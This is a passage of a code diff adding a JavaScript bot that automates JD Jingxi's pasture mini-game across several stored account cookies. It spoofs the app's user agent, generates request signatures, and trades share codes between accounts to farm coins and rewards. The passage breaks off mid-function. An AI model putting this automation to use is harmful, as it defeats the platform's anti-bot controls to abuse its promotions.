+ 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + await TotalBean(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + token = await getJxToken() + await pasture(); + await $.wait(2000); + } + $.res = await getAuthorShareCode('') + if (!$.res) { + $.http.get({url: ''}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(1000) + $.res = await getAuthorShareCode('') + } + $.res = [...($.res || []), ...(await getAuthorShareCode('') || [])] + await shareCodesFormat() + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.canHelp = true; + $.index = i + 1; + UA = UAInfo[$.UserName] + token = await getJxToken() + if ($.newShareCodes && $.newShareCodes.length) { + console.log(`\n开始互助\n`); + for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { + console.log(`账号${$.UserName} 去助力 ${$.newShareCodes[j]}`) + $.delcode = false + $.code = $.newShareCodes[j]; + await takeGetRequest('help'); + await $.wait(2000); + if ($.delcode) { + $.newShareCodes.splice(j, 1) + j-- + continue + } + } + } else { + break + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function pasture() { + try { + $.homeInfo = {}; + $.petidList = []; + $.crowInfo = {}; + await takeGetRequest('GetHomePageInfo'); + if (JSON.stringify($.homeInfo) === '{}') { + console.log(`获取活动详情失败`); + return; + } else { + if (!$.homeInfo.petinfo) { + console.log(`\n温馨提示:${$.UserName} 请先手动完成【新手指导任务】再运行脚本再运行脚本\n`); + return; + } + try { + $.currentStep = oc(() => $.homeInfo.finishedtaskId) + console.log(`打印新手流程进度:当前进度:${$.currentStep},下一流程:${$.homeInfo.maintaskId}`) + if ($.homeInfo.maintaskId !== "pause" || isNew($.currentStep)) { + console.log(`开始初始化`) + $.step = isNew($.currentStep) ? isNew($.currentStep, true) : $.homeInfo.maintaskId + await takeGetRequest('DoMainTask'); + for (let i = 0; i < 20; i++) { + if ($.DoMainTask.maintaskId !== "pause") { + await $.wait(2000) + $.currentStep = oc(() => $.DoMainTask.finishedtaskId) + $.step = $.DoMainTask.maintaskId + await takeGetRequest('DoMainTask'); + } else if (isNew($.currentStep)) { + $.step = isNew($.currentStep, true) + await takeGetRequest('DoMainTask'); + } else { + console.log(`初始化成功\n`) + break + } + } + } + } catch (e) { + console.warn('活动初始化错误') + } + console.log('获取活动信息成功'); + console.log(`互助码:${$.homeInfo.sharekey}`); + $.taskList = [], $.dateType = ``, $.source = `jxmc`, $.bizCode = `jxmc`; + await takeGetRequest('GetUserTaskStatusList'); + for (let key of Object.keys($.taskList)) { + let vo = $.taskList[key] + if (vo.taskName === "邀请好友助力养鸡" || vo.taskType === 4) { + if (vo.completedTimes >= vo.configTargetTimes) { + console.log(`助力已满,不上传助力码`) + } else { + await uploadShareCode($.homeInfo.sharekey) + $.inviteCodeList.push($.homeInfo.sharekey); + await $.wait(2000) + } + } + } + const petNum = (oc(() => $.homeInfo.petinfo) || []).length + await takeGetRequest('GetCardInfo'); + if ($.GetCardInfo && $.GetCardInfo.cardinfo) { + let msg = ''; + for (let vo of $.GetCardInfo.cardinfo) { + if (vo.currnum > 0) { + msg += `${vo.currnum}张${cardinfo[vo.cardtype]}卡片 ` + } + if (petNum < 6) { + $.cardType = vo.cardtype + for (let i = vo.currnum; i >= vo.neednum; i -= vo.neednum) { + console.log(`${cardinfo[vo.cardtype]}卡片已满${vo.neednum}张,去兑换...`) + await $.wait(5000) + await takeGetRequest("Combine") + } + } + } + console.log(`\n可抽奖次数:${$.GetCardInfo.times}${msg ? `,拥有卡片:${msg}` : ''}\n`) + if ($.GetCardInfo.times !== 0) { + console.log(`开始抽奖`) + for (let i = $.GetCardInfo.times; i > 0; i--) { + await $.wait(2000) + await takeGetRequest('DrawCard'); + } + console.log('') + } + } + console.log("查看宠物信息") + if (!petNum) { + console.log(`你的鸡都生完蛋跑掉啦!!`) + await buyNewPet(true) + } + for (let i = 0; i < petNum; i++) { + $.onepetInfo = $.homeInfo.petinfo[i]; + const { bornvalue, progress, strong, type, stage } = $.onepetInfo + switch (stage) { + case 1: + console.log(`这里有一只幼年${petInfo[type].name},成长进度:${progress}%`) + break + case 2: + console.log(`这里有一只青年${petInfo[type].name},生蛋进度:${bornvalue}/${strong},成长进度:${progress}%`) + break + case 4: + console.log(`这里有一只壮年${petInfo[type].name},离家出走进度(生蛋进度):${bornvalue}/${strong}`) + break + default: + console.log(`这里有一只不知道什么状态的鸡:${JSON.stringify($.onepetInfo)}`) + } + $.petidList.push($.onepetInfo.petid); + if ($.onepetInfo.cangetborn === 1) { + console.log(`开始收鸡蛋`); + await takeGetRequest('GetEgg'); + await $.wait(1000); + } + } + $.crowInfo = $.homeInfo.cow; + } + $.GetVisitBackInfo = {}; + await $.wait(2000); + await takeGetRequest('GetVisitBackInfo'); + if ($.GetVisitBackInfo.iscandraw === 1) { + await $.wait(2000); + await takeGetRequest('GetVisitBackCabbage'); + } + await $.wait(2000); + $.GetSignInfo = {}; + await takeGetRequest('GetSignInfo'); + if (JSON.stringify($.GetSignInfo) !== '{}' && $.GetSignInfo.signlist) { + let signList = $.GetSignInfo.signlist; + for (let j = 0; j < signList.length; j++) { + if (signList[j].fortoday && !signList[j].hasdone) { + await $.wait(2000); + console.log(`\n去签到`); + await takeGetRequest('GetSignReward'); + } + } + } + await $.wait(2000); + if ($.crowInfo.lastgettime) { + console.log('\n收奶牛金币'); + await takeGetRequest('cow'); + await $.wait(2000); + } + await $.wait(2000); + await takeGetRequest('GetUserLoveInfo'); + if ($.GetUserLoveInfo) { + for (let key of Object.keys($.GetUserLoveInfo)) { + let vo = $.GetUserLoveInfo[key] + if (vo.drawstatus === 1) { + await $.wait(2000); + $.lovevalue = vo.lovevalue; + await takeGetRequest('DrawLoveHongBao'); + } + } + } + $.taskList = [], $.dateType = ``, $.source = `jxmc`, $.bizCode = `jxmc`; + for (let j = 2; j >= 0; j--) { + if (j === 0) { + $.dateType = ``; + } else { + $.dateType = j; + } + await takeGetRequest('GetUserTaskStatusList'); + await $.wait(2000); + await doTask(j); + await $.wait(2000); + if (j === 2) { + //割草 + console.log(`\n开始进行割草`); + $.runFlag = true; + for (let i = 0; i < 30 && $.runFlag; i++) { + $.mowingInfo = {}; + console.log(`开始第${i + 1}次割草`); + await takeGetRequest('mowing'); + await $.wait(2000); + if ($.mowingInfo.surprise === true) { + //除草礼盒 + console.log(`领取除草礼盒`); + await takeGetRequest('GetSelfResult'); + await $.wait(3000); + } + } + + //横扫鸡腿 + $.runFlag = true; + console.log(`\n开始进行横扫鸡腿`); + for (let i = 0; i < 30 && $.runFlag; i++) { + console.log(`开始第${i + 1}次横扫鸡腿`); + await takeGetRequest('jump'); + await $.wait(2000); + } + } + } + if ($.GetUserLoveInfo) { + $.taskList = [], $.dateType = `2`, $.source = `jxmc_zanaixin`, $.bizCode = `jxmc_zanaixin`; + for (let j = 2; j >= 0; j--) { + await takeGetRequest('GetUserTaskStatusList'); + await $.wait(2000); + await doTask(j); + await $.wait(2000); + } + } + + await takeGetRequest('GetHomePageInfo'); + await $.wait(2000); + let materialNumber = 0; + let materialinfoList = $.homeInfo.materialinfo; + for (let j = 0; j < materialinfoList.length; j++) { + if (materialinfoList[j].type !== 1) { + continue; + } + materialNumber = Number(materialinfoList[j].value);//白菜数量 + } + if (Number($.homeInfo.coins) > 5000) { + let canBuyTimes = Math.floor(Number($.homeInfo.coins) / 5000); + console.log(`\n共有金币${$.homeInfo.coins},可以购买${canBuyTimes}次白菜`); + if (Number(materialNumber) < 400) { + for (let j = 0; j < canBuyTimes && j < 4; j++) { + console.log(`第${j + 1}次购买白菜`); + await takeGetRequest('buy'); + await $.wait(2000); + } + await takeGetRequest('GetHomePageInfo'); + await $.wait(2000); + } else { + console.log(`现有白菜${materialNumber},大于400颗,不进行购买`); + } + } else { + console.log(`\n共有金币${$.homeInfo.coins}`); + } + materialinfoList = $.homeInfo.materialinfo; + for (let j = 0; j < materialinfoList.length; j++) { + if (materialinfoList[j].type !== 1) { + continue; + } + if (Number(materialinfoList[j].value) > 10) { + $.canFeedTimes = Math.floor(Number(materialinfoList[j].value) / 10); + console.log(`\n共有白菜${materialinfoList[j].value}颗,每次喂10颗,可以喂${$.canFeedTimes}次`); + $.runFeed = true; + for (let k = 0; k < $.canFeedTimes && $.runFeed && k < 40; k++) { + $.pause = false; + console.log(`开始第${k + 1}次喂白菜`); + await takeGetRequest('feed'); + await $.wait(4000); + if ($.pause) { + await takeGetRequest('GetHomePageInfo'); + await $.wait(1000); + for (let n = 0; n < $.homeInfo.petinfo.length; n++) { + $.onepetInfo = $.homeInfo.petinfo[n]; + if ($.onepetInfo.cangetborn === 1) { + console.log(`开始收鸡蛋`); + await takeGetRequest('GetEgg'); + await $.wait(1000); + } + } + } + } + } + } + } catch (e) { + $.logErr(e) + } +} + +async function buyNewPet(isHungery = false) { + let weightsTemp = -1, nameTemp = "" + for (let key in petInfo) { + const onePet = petInfo[key] + const { name, price, weights } = onePet + if (price <= $.coins) { + if (weights > weightsTemp) { + weightsTemp = weights, nameTemp = name + $.petType = key + } + } + } + if (weightsTemp !== -1) { + await buy() + if (!isHungery) await buyNewPet() + } else { + console.log("你目前没有金币可以直接购买鸡") + } + async function buy() { + console.log("去买" + nameTemp) + await takeGetRequest("BuyNew") + } +} + +async function doTask(j) { + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + //console.log($.oneTask.taskId); + if ($.oneTask.dateType === 1) {//成就任务 + if ($.oneTask.awardStatus === 2 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } + } else {//每日任务 + if ($.oneTask.awardStatus === 1) { + if (j === 0) { + console.log(`任务:${$.oneTask.taskName},已完成`); + } + } else if ($.oneTask.taskType === 4) { + if ($.oneTask.awardStatus === 2 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } else if (j === 0) { + console.log(`任务:${$.oneTask.taskName},未完成`); + } + } else if ($.oneTask.awardStatus === 2 && $.oneTask.taskCaller === 1) {//浏览任务 + if (Number($.oneTask.completedTimes) > 0 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } + for (let j = Number($.oneTask.completedTimes); j < Number($.oneTask.configTargetTimes); j++) { + console.log(`去做任务:${$.oneTask.description}`); + await takeGetRequest('DoTask'); + await $.wait(6000); + console.log(`完成任务:${$.oneTask.description}`); + await takeGetRequest('Award'); + } + } else if ($.oneTask.awardStatus === 2 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } + } + } +} + +async function takeGetRequest(type) { + let url = ``; + let myRequest = ``; + switch (type) { + case 'GetHomePageInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetHomePageInfo?channel=7&sceneid=1001&activeid=null&activekey=${$.activekey}&isgift=1&isquerypicksite=1`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetHomePageInfo`, url); + break; + case 'GetUserTaskStatusList': + url = `https://m.jingxi.com/newtasksys/newtasksys_front/GetUserTaskStatusList?_=${Date.now() + 2}&source=${$.source}&bizCode=${$.bizCode}&dateType=${$.dateType}&showAreaTaskFlag=0&jxpp_wxapp_type=7` + url += `&_stk=${getStk(url)}` + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&sceneval=2&g_login_type=1&g_ty=ajax` + myRequest = getGetRequest(`GetUserTaskStatusList`, url); + break; + case 'mowing': //割草 + url = `https://m.jingxi.com/jxmc/operservice/Action?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=2&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`mowing`, url); + break; + case 'GetSelfResult': + url = `https://m.jingxi.com/jxmc/operservice/GetSelfResult?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=14&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&itemid=undefined&_stk=channel%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetSelfResult`, url); + break; + case 'jump': + let sar = Math.floor((Math.random() * $.petidList.length)); + url = `https://m.jingxi.com/jxmc/operservice/Action?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=1&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&petid=${$.petidList[sar]}&_stk=channel%2Cpetid%2Csceneid%2Ctype&_ste=1` + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`jump`, url); + break; + case 'DoTask': + url = `https://m.jingxi.com/newtasksys/newtasksys_front/DoTask?_=${Date.now() + 2}&source=${$.source}&taskId=${$.oneTask.taskId}&bizCode=${$.bizCode}&configExtra=`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&sceneval=2&g_login_type=1&g_ty=ajax`; + myRequest = getGetRequest(`DoTask`, url); + break; + case 'Award': + url = `https://m.jingxi.com/newtasksys/newtasksys_front/Award?_=${Date.now() + 2}&source=${$.source}&taskId=${$.oneTask.taskId}&bizCode=${$.bizCode}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&sceneval=2&g_login_type=1&g_ty=ajax`; + myRequest = getGetRequest(`Award`, url); + break; + case 'cow': + url = `https://m.jingxi.com/jxmc/operservice/GetCoin?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&token=${A($.crowInfo.lastgettime)}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid%2Ctoken&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`cow`, url); + break; + case 'buy': + url = `https://m.jingxi.com/jxmc/operservice/Buy?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=1&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`cow`, url); + break; + case 'feed': + url = `https://m.jingxi.com/jxmc/operservice/Feed?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`cow`, url); + break; + case 'GetEgg': + url = `https://m.jingxi.com/jxmc/operservice/GetSelfResult?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=11&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&itemid=${$.onepetInfo.petid}&_stk=channel%2Citemid%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetEgg`, url); + break; + case 'help': + url = `https://m.jingxi.com/jxmc/operservice/EnrollFriend?sharekey=${$.code}&channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid%2Csharekey&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`help`, url); + break; + case 'GetVisitBackInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetVisitBackInfo?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetVisitBackInfo`, url); + break; + case 'GetVisitBackCabbage': + url = `https://m.jingxi.com/jxmc/operservice/GetVisitBackCabbage?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetVisitBackCabbage`, url); + break; + case 'GetSignInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetSignInfo?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=activeid%2Cactivekey%2Cchannel%2Cjxmc_jstoken%2Cphoneid%2Csceneid%2Ctimestamp&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetSignInfo`, url); + break; + case 'GetSignReward': + url = `https://m.jingxi.com/jxmc/operservice/GetSignReward?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&currdate=${$.GetSignInfo.currdate}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=activeid%2Cactivekey%2Cchannel%2Ccurrdate%2Cjxmc_jstoken%2Cphoneid%2Csceneid%2Ctimestamp&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetSignReward`, url); + break; + case 'DoMainTask': + url = `https://m.jingxi.com/jxmc/operservice/DoMainTask?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&step=${$.step}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`DoMainTask`, url); + break; + case 'GetCardInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetCardInfo?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=activeid%2Cactivekey%2Cchannel%2Cjxmc_jstoken%2Cphoneid%2Csceneid%2Ctimestamp&_ste=1` + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetCardInfo`, url); + break; + case 'DrawCard': + url = `https://m.jingxi.com/jxmc/operservice/DrawCard?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=activeid%2Cactivekey%2Cchannel%2Cjxmc_jstoken%2Cphoneid%2Csceneid%2Ctimestamp&_ste=1` + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`DrawCard`, url); + break; + case 'Combine': + url = `https://m.jingxi.com/jxmc/operservice/Combine?channel=7&sceneid=1001&type=2&activeid=${$.activeid}&activekey=${$.activekey}&cardtype=${$.cardType}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`Combine`, url); + break; + case 'BuyNew': + url = `https://m.jingxi.com/jxmc/operservice/BuyNew?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=${$.petType}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`BuyNew`, url); + break; + case 'GetUserLoveInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetUserLoveInfo?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetUserLoveInfo`, url); + break; + case 'DrawLoveHongBao': + url = `https://m.jingxi.com/jxmc/operservice/DrawLoveHongBao?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&lovevalue=${$.lovevalue}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`DrawLoveHongBao`, url); + break; + default: + console.log(`错误${type}`); + } + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`API请求失败,请检查网路重试`) + $.runFlag = false; + console.log(`请求失败`) + } else { + dealReturn(type, data); + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} + +function isNew(step, getNextStep = false) { + const charArr = [...Array(26).keys()].map(i => String.fromCharCode(i + 65)), + numArr = [...Array(12).keys()].map(i => i + 1) + if (getNextStep) { + const tempArr = step.split(`-`) + tempArr[0] = charArr[charArr.indexOf(tempArr[0]) + 1] + tempArr[1] = numArr[0] + return tempArr.join("-") + } + const tempArr = step.split(`-`) + if (tempArr.length < 2) return true + const num = numArr.length * (charArr.indexOf(tempArr[0])) + (+tempArr[1]), + orderArr = ['L', '6'] // 目标步骤 + const numTo = numArr.length * (charArr.indexOf(orderArr[0])) + (+orderArr[1]) + return num < numTo +} + +function dealReturn(type, data) { + switch (type) { + case 'GetHomePageInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.homeInfo = data.data; + $.activeid = $.homeInfo.activeid + $.activekey = $.homeInfo.activekey || null + $.coins = oc(() => $.homeInfo.coins) || 0; + if ($.homeInfo.giftcabbagevalue) { + console.log(`登陆获得白菜:${$.homeInfo.giftcabbagevalue} 颗`); + } + } else { + console.log(`获取活动信息异常:${JSON.stringify(data)}\n`); + } + break; + case 'mowing': + case 'jump': + case 'cow': + data = data.match(new RegExp(/jsonpCBK.?\((.*);*/)); + if (data && data[1]) { + data = JSON.parse(data[1]); + if (data.ret === 0) { + $.mowingInfo = data.data; + let add = ($.mowingInfo.addcoins || $.mowingInfo.addcoin) ? ($.mowingInfo.addcoins || $.mowingInfo.addcoin) : 0; + console.log(`获得金币:${add}`); + if (Number(add) > 0) { + $.runFlag = true; + } else { + $.runFlag = false; + console.log(`未获得金币暂停${type}`); + } + } + } else { + console.log(`cow 数据异常:${data}\n`); + } + break; + case 'GetSelfResult': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`打开除草礼盒成功`); + console.log(JSON.stringify(data)); + } + break; + case 'GetUserTaskStatusList': + data = JSON.parse(data); + if (data.ret === 0) { + $.taskList = data.data.userTaskStatusList; + } + break; + case 'Award': + data = JSON.parse(data); + if (data.ret === 0) { + console.log(`领取金币成功,获得${JSON.parse(data.data.prizeInfo).prizeInfo}`); + } + break; + case 'buy': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`购买成功,当前有白菜:${data.data.newnum}颗`); + } + break; + case 'feed': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`投喂成功`); + } else if (data.ret === 2020) { + console.log(`投喂失败,需要先收取鸡蛋`); + $.pause = true; + } else { + console.log(`投喂失败,${data.message}`); + console.log(JSON.stringify(data)); + $.runFeed = false; + } + break; + case 'GetEgg': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`成功收取${data.data.addnum}个蛋,现有鸡蛋${data.data.newnum}个`); + } + break; + case 'DoTask': + if (data.ret === 0) { + console.log(`执行任务成功`); + } + break; + case 'help': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + if (data.data.result === 0) { + console.log(`助力成功`); + } else if (data.data.result === 1) { + console.log(`不能助力自己`); + } else if (data.data.result === 3) { + console.log(`该好友助力已满`); + $.delcode = true; + } else if (data.data.result === 4) { + console.log(`助力次数已用完`); + $.canHelp = false; + } else if (data.data.result === 5) { + console.log(`已经助力过此好友`); + } else { + console.log(JSON.stringify(data)) + } + } else if 